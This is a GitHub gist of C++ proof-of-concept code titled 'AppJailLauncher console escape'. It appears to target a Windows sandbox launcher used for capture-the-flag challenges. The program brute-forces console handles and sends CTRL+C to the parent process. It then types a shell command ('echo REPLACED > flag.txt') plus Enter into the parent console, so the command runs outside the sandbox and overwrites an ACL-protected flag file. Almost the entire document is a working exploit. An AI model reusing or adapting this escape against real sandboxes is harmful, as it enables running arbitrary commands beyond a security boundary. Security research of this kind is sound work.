Skip to content

Instantly share code, notes, and snippets.

@masthoon
Last active November 29, 2023 14:07
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save masthoon/3b3b60dcb7f8687dc7336bcbe3236700 to your computer and use it in GitHub Desktop.
Save masthoon/3b3b60dcb7f8687dc7336bcbe3236700 to your computer and use it in GitHub Desktop.
AppJailLauncher console escape
#define UNICODE
#define _UNICODE
#include <iostream>
#include <string>
#include <Windows.h>
#include <Psapi.h>
#include <fstream>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Psapi")
#pragma comment(lib, "kernel32.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "winspool.lib")
#pragma comment(lib, "comdlg32.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
#pragma comment(lib, "uuid.lib")
#pragma comment(lib, "odbc32.lib")
#pragma comment(lib, "odbccp32.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "userenv.lib")
#pragma comment(lib, "odbccp32.lib")
// Handle of the parent console /Input
int gStdIn;
static void WriteToConsoleInput(LPCWSTR str, DWORD length)
{
if(!str || !length) return;
INPUT_RECORD *p, *buf;
DWORD i = 0;
p = buf = new INPUT_RECORD[ length ];
for( ; i < length ; i++, p++) {
p->EventType = KEY_EVENT;
p->Event.KeyEvent.bKeyDown = TRUE;
p->Event.KeyEvent.wRepeatCount = 1;
p->Event.KeyEvent.wVirtualKeyCode = 0;
p->Event.KeyEvent.wVirtualScanCode = 0;
p->Event.KeyEvent.uChar.UnicodeChar = 0;
p->Event.KeyEvent.dwControlKeyState = 0;
if(*str == '\r') {
str++;
length--;
}
if(*str == '\n') {
p->Event.KeyEvent.wVirtualKeyCode = VK_RETURN;
str++;
} else {
p->Event.KeyEvent.uChar.UnicodeChar = *str++;
}
}
WriteConsoleInput((HANDLE)gStdIn, buf, length, &length);
delete [] buf;
}
static void SendEnterToConsole()
{
DWORD dwTmp;
INPUT_RECORD ir[2];
ir[0].EventType = KEY_EVENT;
ir[0].Event.KeyEvent.bKeyDown = TRUE;
ir[0].Event.KeyEvent.dwControlKeyState = ENHANCED_KEY;
ir[0].Event.KeyEvent.uChar.AsciiChar = VK_RETURN;
ir[0].Event.KeyEvent.wRepeatCount = 1;
ir[0].Event.KeyEvent.wVirtualKeyCode = VK_RETURN;
ir[0].Event.KeyEvent.wVirtualScanCode = MapVirtualKey(VkKeyScan(VK_RETURN),0);
ir[1].EventType = KEY_EVENT;
ir[1].Event.KeyEvent.bKeyDown = FALSE;
ir[1].Event.KeyEvent.dwControlKeyState = ENHANCED_KEY;
ir[1].Event.KeyEvent.uChar.AsciiChar = VK_RETURN;
ir[1].Event.KeyEvent.wRepeatCount = 1;
ir[1].Event.KeyEvent.wVirtualKeyCode = VkKeyScan(VK_RETURN);
ir[1].Event.KeyEvent.wVirtualScanCode = MapVirtualKey(VkKeyScan(VK_RETURN),0);
WriteConsoleInput( (HANDLE)gStdIn, ir, 2, & dwTmp );
}
void ReadFlag() {
std::ifstream infile("flag.txt");
std::string line;
std::getline( infile, line );
std::cout << "Flag: " << line << std::endl << std::flush;
infile.close();
}
void WriteFlag() {
std::cout << "Trying to overwrite flag.txt" << std::endl << std::flush;
std::ofstream myfile("flag.txt");
if ( myfile.fail() ) {
std::cout << "Cannot overwrite flag.txt" << std::endl << std::flush;
} else {
myfile << "FAKE_FLAG_SHOULD_NOT_WORK\n";
myfile.close();
}
}
extern "C" NTSYSAPI NTSTATUS NTAPI NtContinue(IN PCONTEXT ThreadContext, IN BOOLEAN RaiseAlert );
_declspec(noreturn) VOID CALLBACK DispatchStructuredException(PEXCEPTION_POINTERS ExceptionInfo)
{
PCONTEXT ctx = ExceptionInfo->ContextRecord;
NtContinue(ctx, 0);
}
int main()
{
// Ignore all exceptions :D
AddVectoredExceptionHandler(0, (PVECTORED_EXCEPTION_HANDLER) &DispatchStructuredException);
std::cout << "Press enter to start" << std::endl << std::flush;
getc(stdin);
// Read the flag (works as expected)
ReadFlag();
// Try writing the flag file (does not work due to ACL)
WriteFlag();
// Read again the flag (works as expected and no changes of the content due to ACL)
ReadFlag();
gStdIn = 0;
DWORD mode = 0;
// Bruteforce handle (TODO improve)
while (gStdIn < 0x4000) {
// Check if handle is valid
if(GetConsoleMode((HANDLE)gStdIn, &mode)) {
std::cout << "Sending command injection to handle "<< gStdIn << " mode " << mode << "\n" << std::flush;
// Ignore control+c event in the current process
SetConsoleCtrlHandler(NULL, TRUE);
// Send CTRL+C event to the parent to terminate it
GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0);
// Write the command that will be executed outside the sandbox (write to parent console)
WriteToConsoleInput(L"echo REPLACED > flag.txt", 25);
// Execute it by sending ENTER (to the parent console)
SendEnterToConsole();
}
gStdIn += 4;
}
std::cout << "Checking if payload was executed" << std::endl << std::flush;
// Read the flag (works and the content is now different)
ReadFlag();
std::cout << "Press enter to exit" << std::endl << std::flush;
getc(stdin);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment